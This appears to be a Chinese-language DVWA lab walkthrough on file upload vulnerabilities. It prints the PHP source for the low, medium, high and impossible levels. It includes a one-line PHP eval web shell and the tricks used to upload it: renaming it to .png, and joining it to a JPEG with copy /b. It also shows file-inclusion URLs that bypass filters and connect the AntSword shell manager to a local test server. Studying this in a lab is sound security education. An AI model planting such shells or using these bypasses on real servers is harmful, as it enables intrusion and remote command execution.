天天看點

Security ❀ File Upload 檔案上傳

文章目錄

  • ​​準備工作​​
  • ​​1、low​​
  • ​​2、medium​​
  • ​​3、high​​
  • ​​4、impossible​​

準備工作

需要下載下傳 蟻劍 進行測試

​​​點選跳轉下載下傳所需工具​​

1、low

源碼解析:

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // Can we move the file to the upload folder?
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
        // No
        echo '<pre>Your image was not uploaded.</pre>';
    }
    else {
        // Yes!
        echo "<pre>{$target_path} succesfully uploaded!</pre>";
    }
}

?>      

源碼無任何攔截,直接上傳一句話木馬即可;

<?php eval($_POST['123']);?>      

将一句話木馬進行上傳,然後點選[upload];

Security ❀ File Upload 檔案上傳

木馬上傳成功;

Security ❀ File Upload 檔案上傳

使用蟻劍進行連接配接測試,蟻劍初始化見準備工作内容連結,此處不再贅述;

Security ❀ File Upload 檔案上傳

連接配接URL為檔案上傳一句話木馬路徑,字首位于浏覽器,字尾位于檔案上傳回顯,…/…/ 代表上一級目錄,需要注意具體數量,防止目錄錯誤;

Security ❀ File Upload 檔案上傳

測試連接配接是否成功;

Security ❀ File Upload 檔案上傳

測試成功後添加資料;

Security ❀ File Upload 檔案上傳

添加成功後可以跳轉具體目錄,可以使用管理者權限進行修改系統檔案與目錄;

Security ❀ File Upload 檔案上傳

打開終端CMD;

Security ❀ File Upload 檔案上傳

可以使用CMD進行具體操作;

Security ❀ File Upload 檔案上傳

2、medium

源碼解析:

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information 定義上傳檔案資訊
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

    // Is it an image? 規定檔案字尾與檔案大小
    if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
        ( $uploaded_size < 100000 ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

?>      

源碼定義了上傳檔案字尾與大小,可以将一句話木馬字尾修改為jpg或png,檢視大小是否滿足即可進行上傳;

Security ❀ File Upload 檔案上傳

圖檔檔案上傳成功;

Security ❀ File Upload 檔案上傳

此處需要結合 第六章内容 進行關聯蟻劍;

由于medium安全等級,檔案包含路徑限制了http:// https:// …/ …\等四組跳轉方式,是以URL修改為:​​

​http://127.0.0.1/dvwa/vulnerabilities/fi/?page=hthttp://tp://127.0.0.1/dvwa/hackable/uploads/2.png​

​​(參考第六章 medium等級)

通過Burpsuite抓包擷取http請求cookie值;

Security ❀ File Upload 檔案上傳

将cookie配置到蟻劍

​​

​cookie:security=medium; PHPSESSID=q6vjv4329g7vv8rhpsoi7gk2a2​

​​

Security ❀ File Upload 檔案上傳

配置完成測試連接配接是否成功,剩餘連接配接同第一節内容;

Security ❀ File Upload 檔案上傳

結果驗證:

Security ❀ File Upload 檔案上傳

3、high

源碼解析:

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information 定義上傳檔案資訊
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // Is it an image? 定義上傳檔案内容開頭是否為圖檔資料
    if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
        ( $uploaded_size < 100000 ) &&
        getimagesize( $uploaded_tmp ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

?>      

将一句話木馬融合到某個圖檔中

C:\Users\Administrator\Desktop>copy 頭像.jpg/b + 1.png /a  3.jpg      

指令展示如下:

Security ❀ File Upload 檔案上傳

圖檔外觀與原始圖檔一樣,需要使用筆記本檢視圖檔内是否攜帶一句話木馬;

Security ❀ File Upload 檔案上傳

點選配置好的圖檔進行上傳;

Security ❀ File Upload 檔案上傳

圖檔上傳成功;

Security ❀ File Upload 檔案上傳

使用Burpsuite抓取對應cookie值;

Security ❀ File Upload 檔案上傳

将cookie值放入蟻劍;

Security ❀ File Upload 檔案上傳

配置對應連接配接URL與連接配接密碼,并測試連接配接;

URL:​​

​http://127.0.0.1/dvwa/vulnerabilities/fi/?page=file://d://phpstudy_pro/WWW/DVWA//hackable/uploads/3.png​

​​(參考第六章 high等級)

Security ❀ File Upload 檔案上傳

4、impossible

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );


    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // Where are we going to be writing to?
    $target_path   = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
    //$target_file   = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
    $target_file   =  md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
    $temp_file     = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
    $temp_file    .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;

    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
        ( $uploaded_size < 100000 ) &&
        ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
        getimagesize( $uploaded_tmp ) ) {

        // Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
        if( $uploaded_type == 'image/jpeg' ) {
            $img = imagecreatefromjpeg( $uploaded_tmp );
            imagejpeg( $img, $temp_file, 100);
        }
        else {
            $img = imagecreatefrompng( $uploaded_tmp );
            imagepng( $img, $temp_file, 9);
        }
        imagedestroy( $img );

        // Can we move the file to the web root from the temp folder?
        if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
            // Yes!
            echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
        }
        else {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }

        // Delete any temp files
        if( file_exists( $temp_file ) )
            unlink( $temp_file );
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>